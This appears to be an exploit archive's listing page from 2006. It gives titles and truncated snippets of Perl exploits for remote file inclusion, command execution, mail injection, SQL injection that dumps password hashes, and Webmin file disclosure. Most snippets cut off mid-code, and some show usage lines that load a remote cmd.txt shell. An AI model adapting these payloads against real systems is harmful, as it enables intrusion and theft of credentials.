adv45-K-159-2006.txt

ECHOADV45$2006 ----------------------------------------------------------------------------------------- ECHOADV45$2006 WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran...

AlberT-EasySite 1.0a5 - PSA_PATH Remote File Inclusion

AlberT-EasySite 1.0a5 - PSAPATH Remote File Inclusion !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - AES: AlberT-EasySite perl exploit.pl http://site.com/AESPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka =...

AlberT-EasySite 1.0a5 - 'PSA_PATH' Remote File Inclusion

!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - AES: AlberT-EasySite perl exploit.pl http://site.com/AESPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0; $sciezkacmd = $ARGV1; $komenda = $ARGV2;...

Wikepage Opus 10 2006.2a (lng) - Remote Command Execution

Wikepage Opus 10 2006.2a lng - Remote Command Execution !/usr/bin/perl WIKEPAGE "; $socket = IO::Socket::INET-newProto="tcp", PeerAddr="$server", PeerPort="http80" || die "- Cannot not connect to host !\n"; print $socket "GET ".$path.$pcode." HTTP/1.1\r\n"; print $socket "User-Agent:...

phPay <= 2.02 (nu_mail.inc.php) Remote mail() Injection Exploit

Exploit for unknown platform in category web applications =============================================================== phPay \n"; if scalar@ARGV headers\n"; print "\t : orly\n"; print "\t : folder where phpay is installed /phpay/ /phpayv2.02/ ..\n"; print "\t : duh\n"; print "\theaders :...

PHPay 2.02 - nu_mail.inc.php?mail() Remote Injection

PHPay 2.02 - numail.inc.php?mail Remote Injection !/usr/bin/perl Script: phPay v2.02 http://phpay.de/ Vuln File: numail.inc.php Exploit & Advisory: beford Vulnerability: mail Injection Vuln Code: \n"; if scalar@ARGV headers\n"; print "\t : orly\n"; print "\t : folder where phpay is installed...

[ECHO_ADV_45$2006] WEBinsta CMS 0.3.1 &#40;templates_dir&#41; Remote File Inclusion Vulnerability

ECHOADV45$2006 ----------------------------------------------------------------------------------------- ECHOADV45$2006 WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran...

PHPay 2.02 - &#039;nu_mail.inc.php?mail()&#039; Remote Injection

!/usr/bin/perl Script: phPay v2.02 http://phpay.de/ Vuln File: numail.inc.php Exploit & Advisory: beford Vulnerability: mail Injection Vuln Code: \n"; if scalar@ARGV headers\n"; print "\t : orly\n"; print "\t : folder where phpay is installed /phpay/ /phpayv2.02/ ..\n"; print "\t : duh\n"; print...

WEBInsta CMS 0.3.1 - templates_dir Remote File Inclusion

WEBInsta CMS 0.3.1 - templatesdir Remote File Inclusion !/usr/bin/perl WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Exploit Bug Found & code By K-159 echo.or.id c 2006 usage: perl WEBinsta.pl perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell...

SAPID CMS <= 1.2.3_rc3 (rootpath) Remote Code Execution Exploit

Exploit for unknown platform in category web applications =============================================================== SAPID CMS = 1.2.3rc3 rootpath Remote Code Execution Exploit =============================================================== Title: SAPID CMS Multiple remote Command Execution...

SAPID CMS remote File Inclusion vulnerabilities

Title: SAPID CMS remote File Inclusion Vulnerabilities Author: Simo64 simo64atmorxorg Discovered: 06 Aout 2006 MorX Security Research Team http://www.morx.org Vendor : SAPID CMS Version : 123 rc3 Website : http://sapid.sourceforge.net Severity: Critical Details: + Remote File Inclusion 1 vulnerab...

TWiki <= 4.0.4 (configure) Remote Command Execution Exploit

Exploit for cgi platform in category web applications =========================================================== TWiki $host, 'dir=s' = $dir, 'proxy=s' = $proxy, 'proxyuser=s' = $proxyuser, 'proxypass=s' = $proxypass, 'debug' = $debug; &help unless $host; you dont need root $dir =...

TWiki 4.0.4 - configure Remote Command Execution

TWiki 4.0.4 - configure Remote Command Execution !/usr/bin/perl Tue Aug 1 13:18:12 CEST 2006 [email protected] use strict; use LWP::UserAgent; use LWP::Simple; use HTTP::Request; use HTTP::Response; use Getopt::Long; $| = 1; couse 1 is bigger than 0 my $proxy,$proxyuser,$proxypass; my...

TWiki 4.0.4 - &#039;configure&#039; Remote Command Execution

!/usr/bin/perl Tue Aug 1 13:18:12 CEST 2006 [email protected] use strict; use LWP::UserAgent; use LWP::Simple; use HTTP::Request; use HTTP::Response; use Getopt::Long; $| = 1; couse 1 is bigger than 0 my $proxy,$proxyuser,$proxypass; my $host,$debug,$dir, $command; my $options = GetOptions 'host=...

Cisco/Protego CS-MARS < 4.2.1 (JBoss) Remote Code Execution Exploit

Exploit for hardware platform in category remote exploits =================================================================== Cisco/Protego CS-MARS Addressed in CSCse47646 CS-MARS is an event correlation product orginally written by Protego, which is now owned by Cisco. It is built on top of JBos...

Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection Exploit (2)

Exploit for unknown platform in category web applications ================================================================== Invision Power Board 2.1 new; &header; if @ARGV ".$server."result.txt"; for$id = 1; $id = $kol; $id++ $ownquery = "UNION SELECT convergepasshash,1,1,1 FROM...

Webmin &lt; 1.290 / Usermin &lt; 1.220 Arbitrary File Disclosure Exploit (perl)

No description provided by source. !/usr/bin/perl Exploit for WEBMIN and USERMIN less than 1.29x ARBITARY REMOTE FILE DISCLOSURE WORKS FOR HTTP AND HTTPS NOW Thrusday 13th July 2006 Vulnerability Disclosure at securitydot.net Coded by UmZ! [email protected] Make sure you have LWP before using...

web-usermin.pl.txt

!/usr/bin/perl Exploit for WEBMIN and USERMIN less than 1.29x ARBITARY REMOTE FILE DISCLOSURE WORKS FOR HTTP AND HTTPS NOW Thrusday 13th July 2006 Vulnerability Disclosure at securitydot.net Coded by UmZ! [email protected] Make sure you have LWP before using this exploit. USE IT AT YOUR OWN RIS...

Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Expl (perl)

Exploit for multiple platform in category remote exploits ========================================================================= Webmin new; if @ARGV \n"; print"TARGETS are\n "; print"0 - HTTP \n"; print" 1 - HTTPS\n"; print"Define full path with file name \n"; print"Example: ./webmin.pl...

Invision Power Board 2.1 &lt;= 2.1.6 Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Invision Power Board v2.1 = 2.1.6 sql injection exploit by RST/GHC Based on LOCALIP bug, more info in RST/GHC Advisory41 http://rst.void.ru/papers/advisory41.txt tested on 2.1.3, 2.1.6 08.06.06 coded by 1dt.w0lf RST/GHC http://rst.void.ru...